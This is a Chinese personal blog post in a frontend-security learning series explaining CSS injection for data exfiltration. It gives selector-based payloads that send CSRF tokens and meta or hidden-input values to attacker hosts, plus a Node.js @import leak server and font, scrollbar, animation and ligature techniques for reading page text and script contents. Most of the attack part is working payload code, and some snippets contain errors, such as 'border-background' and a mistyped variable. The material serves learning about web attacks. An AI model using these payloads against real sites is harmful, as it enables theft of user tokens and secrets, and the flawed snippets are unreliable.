Skip to main content
Background Image

探索前端安全Day(五)-CSS-Injection

·1287 words·7 mins· loading · loading ·
Table of Contents

前言
#

之前我们看到了用HTML进行dom clobbering攻击,那么这次,我们来利用CSS进行Inject吧!

什么是CSS Injection
#

css注入其实就和前面的HTML进行dom clobbering一样,就是对css可控的情况下面,利用style标签来进行攻击,不需要用到js和html就可以做到一些事情,并且很多开发者并不会觉得css能进行injection,所以不管在sanitizer还是dompurify,还是什么其他自己写的一些限制,都不会对style进行什么限制,所以还是有危害在的,跟随我的脚步,猛攻!

利用CSS进行leak
#

两个特性
#

第一个特性:CSS的属性选择器,可以利用选择器来猜解对应的数据进行leak,比如说input[value^=D]可以筛选开头为D的元素,其中^用来匹配开头$匹配结尾*匹配内容。 第二个特性:CSS本质上会发送Request请求,当我们的background设定了一个url后,CSS就会发送请求。 综合以上这两个特点,我们可以很简单的就知道要如何利用,举个简单的例子

input[value^=D]{
background: url(https://Delete.love?love=D)
}

当匹配到D为开头,那么CSS就会像我们的Server发送love=D的请求,那我们就知道了某个我们要leak的值的开头就是D。 好,既然我们知道了如何去得到我们要的值,那么我们现在只需要确定我们需要leak什么值,一般来说我们的攻击都是要扩大范围,如何从点到面,从面到体,那么从打点思路来讲,最好不过的就是一个admin后台,所以我们目标定为,leak admin token

hidden input
#

大多数页面,我们用户的token都是被写到hidden里面的,那么我们前面的选择器就没办法直接选择到对应的元素,例如

<form action="/action">
  <input type="hidden" name="csrf-token" value="DeleteXSS">
  <input name="username">
  <input type="submit">
</form>

这个时候,我们如果用

[input name="csrf-token"][value^=D]{
background:url(http://delete.love?love=D)
}

是取不到的,这里我还是实操一下,不然说服性不强

然后打开页面后
可以看到正常写的可以发送请求,但是我们尝试换成hidden
可以看到请求并不会发过来,因为他并不会显示,对应他的background就没必要request,所以会发生这种情况,如何解决?

  • 第一种情况:当我们leak的值后面有别的标签在我们可以让后面的标签进行background的request即可
input[name="csrf-token"][value^="D"] + input {
  background: url(https://example.com?q=a)
}

后面的+input取到的就是下一个元素,

  • 第二种情况:那如果我们要leak的值在最后面,没有标签了怎么办?这个时候我们可以看到这里caniuse 我们可以利用has的选择器直接抓取,像这样
    我们就可以随便抓到我们要的值了(有人应该发现了换值了因为怕是用到前面的方法请求得到的,嗯!严谨一点)

meta
#

同上面一样,可以设置为:<meta name="csrf-token" content="abc123">,并且这里也可以利用has去得到token

html:has(meta[name="csrf-token"][content^="a"]) {
  background: url(https://example.com?q=a);
}

然后另外一个方法是,虽然meta和hidden都是不可见的,但是通过css我们可以控制meta为可见,再利用前面的方法即可。

head, meta {
  display: block;  
}

meta[name="csrf-token"][content^="a"] {
  background: url(https://example.com?q=a);
}

这里记得也要把head也一起设置了因为head标签预设display:none

Question
#

对于以上的一些手法,不少人也许会提出疑问,csrf-token可能会动态更新,我们如何一次性拿到所有的字符串?难道只能一个一个去leak吗,当token很长的时候,是不是需要很长时间?又或者是我们有没有其他可以leak的东西?那么接下来,我们来研究这些东西

一次性拿到你需要的数据
#

关于这个问题,我们可以看一下这份报告:CSS Injection Attacks

Pepe Vila指出可以利用@import来引入style,具体的思路就是,在你的server端写下类似这样子的css文件

@import url(https://vpsip.com/payload?len=1)
@import url(https://vpsip.com/payload?len=2)
@import url(https://vpsip.com/payload?len=3)
@import url(https://vpsip.com/payload?len=4)
@import url(https://vpsip.com/payload?len=5)
@import url(https://vpsip.com/payload?len=6)
@import url(https://vpsip.com/payload?len=7)
@import url(https://vpsip.com/payload?len=8)

然后只需要在攻击的时候import一个

@import url(https://vpsip.com/start?len=8)

server端就会一个个去leak对应的值,并且这个样子就不需要重新加载新的东西,所以也不用担心刷新后某个值会变了。 现在举个例子。

<!doctype html>
<body>
<div><article><div><p><div><div><div><div><div>
<input type="text" value="Deletefvv">
<style>
@import url('//vpsip:7777/start?');
</style>

脚本

const http = require('http');
const url = require('url');
const port = 5001;

const HOSTNAME = "http://localhost:5001";
const DEBUG = false;

var prefix = "", postfix = "";
var pending = [];
var stop = false, ready = 0, n = 0;

const requestHandler = (request, response) => {
    let req = url.parse(request.url, url);
    log('\treq: %s', request.url);
    if (stop) return response.end();
    switch (req.pathname) {
        case "/start":
            genResponse(response);
            break;
        case "/leak":
            response.end();
            if (req.query.pre && prefix !== req.query.pre) {
                prefix = req.query.pre;
            } else if (req.query.post && postfix !== req.query.post) {
               postfix = req.query.post;
            } else {
                break;
            }
            if (ready == 2) {
                genResponse(pending.shift());
                ready = 0;
            } else {
                ready++;
                log('\tleak: waiting others...');
            }
            break;
        case "/next":
            if (ready == 2) {
                genResponse(respose);
                ready = 0;
            } else {
                pending.push(response);
                ready++;
                log('\tquery: waiting others...');
            }
            break;
        case "/end":
            stop = true;
            console.log('[+] END: %s', req.query.token);
        default:
            response.end();
    }
}

const genResponse = (response) => {
    console.log('...pre-payoad: ' + prefix);
    console.log('...post-payoad: ' + postfix);
    let css = '@import url('+ HOSTNAME + '/next?' + Math.random() + ');' +
        [0,1,2,3,4,5,6,7,8,9,'a','b','c','d','e','f'].map(e => ('input[value$="' + e + postfix + '"]{--e'+n+':url(' + HOSTNAME + '/leak?post=' + e + postfix + ')}')).join('') +
        'div '.repeat(n) + 'input{background:var(--e'+n+')}' +
        [0,1,2,3,4,5,6,7,8,9,'a','b','c','d','e','f'].map(e => ('input[value^="' + prefix + e + '"]{--s'+n+':url(' + HOSTNAME + '/leak?pre=' + prefix + e +')}')).join('') +
        'div '.repeat(n) + 'input{border-image:var(--s'+n+')}' +
        'input[value='+ prefix + postfix + ']{list-style:url(' + HOSTNAME + '/end?token=' + prefix + postfix + '&)};';
    response.writeHead(200, { 'Content-Type': 'text/css'});
    response.write(css);
    response.end();
    n++;
}

const server = http.createServer(requestHandler)

server.listen(port, (err) => {
    if (err) {
        return console.log('[-] Error: something bad happened', err);
    }
    console.log('[+] Server is listening on %d', port);
})

function log() {
    if (DEBUG) console.log.apply(console, arguments);
}

其实就是不断leak,思路是和上面是一致的

可以看出来leak出来了。 所以只要用@import这个CSS 的功能,就可以做到「不重新载入页面,但可以动态载入新的style」,进而偷取后面的每一个字符。

那么对于leak速度的问题,我们可以取双向爆破的方法,也就是,一个从^开始一个从$开始,从而将效率翻倍,但是这里要记住一个点就是,要用到不同的属性,一个用background,另一个要用border-background,不然会冲突只发出一个request,像这样

input[name="secret"][value^="a"] {
  background: url(https://b.myserver.com/leak?q=a)
}

input[name="secret"][value^="b"] {
  background: url(https://b.myserver.com/leak?q=b)
}

// ...
input[name="secret"][value$="a"] {
  border-background: url(https://b.myserver2.com/suffix?q=a)
}

input[name="secret"][value$="b"] {
  border-background: url(https://b.myserver2.com/suffix?q=b)
}

leak其他的数据
#

除了可以拿到标签里面的数据,我们能否取到别的数据?比如script的程序?又或者是页面上的内容。

unicode-range
#

在CSS 里面,有一个属性叫做「unicode-range」,可以针对不同的字元,载入不同的字体。 举一个例子MDN的例子

<!DOCTYPE html>
<html>
  <body>
    <style>
      @font-face {
        font-family: "Ampersand";
        src: local("Times New Roman");
        unicode-range: U+26;
      }

      div {
        font-size: 4em;
        font-family: Ampersand, Helvetica, sans-serif;
      }
    </style>
    <div>Me & You = Us</div>
  </body>
</html>

因为设置的unicode-range是U+26,而div标签中U+26表示的是&所以只有&会用特殊字体显示出来。 利用

<!DOCTYPE html>
<html>
  <body>
    <style>
      @font-face {
        font-family: "f1";
        src: url(https://myserver.com?q=1);
        unicode-range: U+31;
      }

      @font-face {
        font-family: "f2";
        src: url(https://myserver.com?q=2);
        unicode-range: U+32;
      }

      @font-face {
        font-family: "f3";
        src: url(https://myserver.com?q=3);
        unicode-range: U+33;
      }

      @font-face {
        font-family: "fa";
        src: url(https://myserver.com?q=a);
        unicode-range: U+61;
      }

      @font-face {
        font-family: "fb";
        src: url(https://myserver.com?q=b);
        unicode-range: U+62;
      }

      @font-face {
        font-family: "fc";
        src: url(https://myserver.com?q=c);
        unicode-range: U+63;
      }

      div {
        font-size: 4em;
        font-family: f1, f2, f3, fa, fb, fc;
      }
    </style>
    Secret: <div>ca31a</div>
  </body>
</html>

是可以做到的,但是问题就是我们可以看到他是乱序的,所以其实也很难利用起来,所以请看下面

字体高度差异+first-line+scrollbar
#

首先,我们要知道,不同的字体他的每个字符的高度是不一样的,有一个叫做「Comic Sans MS」的字体,高度就比另一个「Courier New」高。

<!DOCTYPE html>
<html>
  <body>
    <style>
      @font-face {
        font-family: "fa";
        src:local('Comic Sans MS');
        font-style:monospace;
        unicode-range: U+41;
      }
      div {
        font-size: 30px;
        height: 40px;
        width: 100px;
        font-family: fa, "Courier New";
        letter-spacing: 0px;
        word-break: break-all;
        overflow-y: auto;
        overflow-x: hidden;
      }
      
    </style>
    Secret: <div>DBC</div>
    <div>ABC</div>
  </body>
</html>

这样子应该可以很直观的就能看到,当我们设定了字体高度为30px,Comic Sans MS为45px,文字区块的高度设成40px,发现了没有,在下面这个字符串中出现了scrollbar,那么这个有什么用呢?我们css可以对scrollbar进行设定,可以和之前一样加入一个background:

div::-webkit-scrollbar:vertical {  
background: url(https://myserver.com?q=a);  
}

这么一来,是不是触发了scrollbar的就会发送request到server,从而我们就可以利用了,因此,如果一直重复载入不同字体,那server 就能知道画面上有什么字符,这点跟刚刚我们用unicode-range能做到的事情是一样的。 那么我们如何和之前一样得到顺序的secret呢?我们可以让div的宽度缩小到只能显示一个字符的情况,再搭配::first-line来对第一行的样式进行调整。

<!DOCTYPE html>
<html>
  <body>
    <style>
      @font-face {
        font-family: "fa";
        src:local('Comic Sans MS');
        font-style:monospace;
        unicode-range: U+41;
      }
      div {
        font-size: 0px;
        height: 40px;
        width: 20px;
        font-family: fa, "Courier New";
        letter-spacing: 0px;
        word-break: break-all;
        overflow-y: auto;
        overflow-x: hidden;
      }

      div::first-line{
        font-size: 30px;
      }

    </style>
    Secret: <div>CBAD</div>
  </body>
</html>

这个时候我们让div只能显示出一个字符,再让first-line变30px,所以就只会出现第一个字符。 然后搭配上面的方法,我们就可以利用高度差发送request到我们的server:

<!DOCTYPE html>
<html>
  <body>
    <style>
      @font-face {
        font-family: "fa";
        src:local('Comic Sans MS');
        font-style:monospace;
        unicode-range: U+43;
      }
      div {
        font-size: 0px;
        height: 40px;
        width: 20px;
        font-family: fa, "Courier New";
        letter-spacing: 0px;
        word-break: break-all;
        overflow-y: auto;
        overflow-x: hidden;
        --leak: url(http://vps:7777?C=C);
      }

      div::first-line{
        font-size: 30px;
      }
      div::-webkit-scrollbar {
  background: blue;
}

div::-webkit-scrollbar:vertical {
  background: var(--leak);
}


    </style>
    Secret: <div>CBAD</div>
  </body>
</html>

可以看到确实可以这样子做,接下来我们只需要调整宽度就行,然后可以用CSS animation 不断载入不同的font-family 以及指定不同的--leak变数。 最后,写了一个完整的exp,大家可以本地跑一下

<!DOCTYPE html>
<html>
  <body>
    <style>
  @font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
  @font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
  @font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
  @font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
  @font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
  @font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
  @font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
  @font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
  @font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
  @font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
  @font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
  @font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
  @font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
  @font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
  @font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
  @font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
  @font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
  @font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
  @font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
  @font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
  @font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
  @font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
  @font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
  @font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
  @font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
  @font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
  @font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
  @font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
  @font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
  @font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
  @font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
  @font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
  @font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
  @font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
  @font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
  @font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
  @font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}
      div {
        font-size: 0px;
        height: 40px;
        width: 0px;
        font-family: reset;
        letter-spacing: 0px;
        word-break: break-all;
        overflow-y: auto;
        overflow-x: hidden;
        animation: loop step-end 200s 0s, trychar step-end 2s 0s;
        animation-iteration-count: 1, infinite; 
      }
      @keyframes trychar {
    0% { font-family: rest; } /* delay for width change */
    5% { font-family: has_A, rest; --leak: url(?a); }
    6% { font-family: rest; }
    10% { font-family: has_B, rest; --leak: url(?b); }
    11% { font-family: rest; }
    15% { font-family: has_C, rest; --leak: url(?c); }
    16% { font-family: rest }
    20% { font-family: has_D, rest; --leak: url(?d); }
    21% { font-family: rest; }
    25% { font-family: has_E, rest; --leak: url(?e); }
    26% { font-family: rest; }
    30% { font-family: has_F, rest; --leak: url(?f); }
    31% { font-family: rest; }
    35% { font-family: has_G, rest; --leak: url(?g); }
    36% { font-family: rest; }
    40% { font-family: has_H, rest; --leak: url(?h); }
    41% { font-family: rest }
    45% { font-family: has_I, rest; --leak: url(?i); }
    46% { font-family: rest; }
    50% { font-family: has_J, rest; --leak: url(?j); }
    51% { font-family: rest; }
    55% { font-family: has_K, rest; --leak: url(?k); }
    56% { font-family: rest; }
    60% { font-family: has_L, rest; --leak: url(?l); }
    61% { font-family: rest; }
    65% { font-family: has_M, rest; --leak: url(?m); }
    66% { font-family: rest; }
    70% { font-family: has_N, rest; --leak: url(?n); }
    71% { font-family: rest; }
    75% { font-family: has_O, rest; --leak: url(?o); }
    76% { font-family: rest; }
    80% { font-family: has_P, rest; --leak: url(?p); }
    81% { font-family: rest; }
    85% { font-family: has_Q, rest; --leak: url(?q); }
    86% { font-family: rest; }
    90% { font-family: has_R, rest; --leak: url(?r); }
    91% { font-family: rest; }
    95% { font-family: has_S, rest; --leak: url(?s); }
    96% { font-family: rest; }
}
@keyframes loop {
    0% { width: 0px }
    1% { width: 20px }
    2% { width: 40px }
    3% { width: 60px }
    4% { width: 80px }
    4% { width: 100px }
    5% { width: 120px }
    6% { width: 140px }
    7% { width: 0px }
}


      div::first-line{
        font-size: 30px;
      }
      div::-webkit-scrollbar {
  background: blue;
}

div::-webkit-scrollbar:vertical {
  background: var(--leak);
}


    </style>
    Secret: <div>CBAD</div>
  </body>
</html>

本地跑一下就知道是怎么样的了

ligature+scrollbar
#

连字(ligature),在某些字型当中,会把一些特定的组合render 成连在一起的样子

这个应该很好理解,就是将两个字母组合在了一起,同样的他可以和前面的方法一样可以完全的把所有字符leak出来。

结合以上的方法,我们甚至可以得到script的内容,只需要在css处加上

head, script {
  display: block;
}

即可,接下来放出例子

<!DOCTYPE html>
<html lang="en">
<body>
  <script>
    var secret = "abc123"
  </script>
  <hr>
  <script>
    var secret2 = "cba321"
  </script>
  <svg>
    <defs>
    <font horiz-adv-x="0">
      <font-face font-family="hack" units-per-em="1000" />
        <glyph unicode='"a' horiz-adv-x="99999" d="M1 0z"/>
      </font>
    </defs>
  </svg>
  <style>
    script {
      display: block;
      font-family:"hack";
      white-space:n owrap;
      overflow-x: auto;
      width: 500px;
      background:lightblue;
    }

    script::-webkit-scrollbar {
      background: blue;
    }

  </style>
</body>
</html>

当出现"a的连字的时候就会宽度超宽,scrollbar 出现,和前面一样,利用scrollbar进行request即可 but这里我跑不出来了,也许是脚本有问题,但是这个思路的确是可以的

总结
#

在学习之前我真没想到一个小小的XSS能玩出这么多花样,前辈们真的是太强了,也要多多学习啊!

reference: https://aszx87410.github.io/beyond-xss/ch3/css-injection/ https://aszx87410.github.io/beyond-xss/ch3/css-injection-2/ https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231 https://demo.vwzq.net/css2.html https://research.securitum.com/stealing-data-in-great-style-how-to-use-css-to-attack-web-application/

Delete's blog
Author
Delete’s blog